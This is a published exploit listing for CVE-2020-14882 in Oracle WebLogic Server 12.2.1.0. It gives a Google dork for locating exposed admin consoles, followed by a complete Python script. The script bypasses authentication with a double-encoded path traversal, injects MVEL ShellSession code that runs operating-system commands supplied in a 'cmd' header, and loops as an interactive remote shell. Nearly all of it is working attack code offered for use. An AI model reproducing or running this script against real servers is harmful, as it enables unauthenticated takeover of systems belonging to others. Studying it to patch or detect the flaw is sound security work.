Oracle WebLogic Server 12.2.1.0 – RCE (Unauthenticated)
# Exploit Title: Oracle WebLogic Server 12.2.1.0 - RCE (Unauthenticated) # Google Dork: inurl:"/console/login/LoginForm.jsp" # Date: 01/26/2021 # Exploit Author: CHackA0101 # Vendor Homepage: https://www.oracle.com/security-alerts/cpuoct2020.html # Version: Oracle WebLogic Server, version 12.2.1.0 # Tested on: Oracle WebLogic Server, version 12.2.1.0 (OS: Linux PDT 2017 x86_64 GNU/Linux) # Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html # CVE : CVE-2020-14882 # More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2020-14882/README.md #!/usr/bin/python3 import requests import argparse import http.client http.client.HTTPConnection._http_vsn=10 http.client.HTTPConnection._http_vsn_str='HTTP/1.0' parse=argparse.ArgumentParser() parse.add_argument('-u','--url',help='url') args=parse.parse_args() proxies={'http':'127.0.0.1:8080'} cmd_="" # Headers headers = { "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;rv:73.0)Gecko/20100101 Firefox/73.0", "Accept":"application/json,text/plain,*/*", "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding":"gzip,deflate", "Upgrade-Insecure-Requests":"1", "Content-Type":"application/x-www-form-urlencoded", "Cache-Control":"max-age=0", "Connection":"close" } # Oracle WebLogic Server 12.2.1.0 - Unauthenticated RCE via python Explotation: url=args.url+"""/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec();");""" url_=args.url+"/console/images/%252E%252E%252Fconsole.portal" form_data_="""_nfpb=false&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread=(weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe","/c", cmd} : new String[]{"/bin/sh","-c", cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write("");}executeThread.interrupt();");""" #data_ = parse.urlencode(form_data_) results1=requests.get(url,headers=headers) if results1.status_code==200: print("(Load Headers...)\n") print("(Data urlencode...)\n") print("(Execute exploit...)\n") print("(CHackA0101-GNU/Linux)$ Successful Exploitation.\n") while True: cmd_test = input("(CHackA0101GNU/Linux)$ ") if cmd_test=="exit": break else: try: cmd_ = cmd_test headers = { 'cmd': cmd_, 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Connection':'close', 'Accept-Encoding':'gzip,deflate', 'Content-Length':'1244', 'Content-Type':'application/x-www-form-urlencoded' } results_ = requests.post(url_, data=form_data_, headers=headers, stream=True).text print(results_) except: pass else: print("(CHackA0101-GNU/Linux)$ Fail.\n") |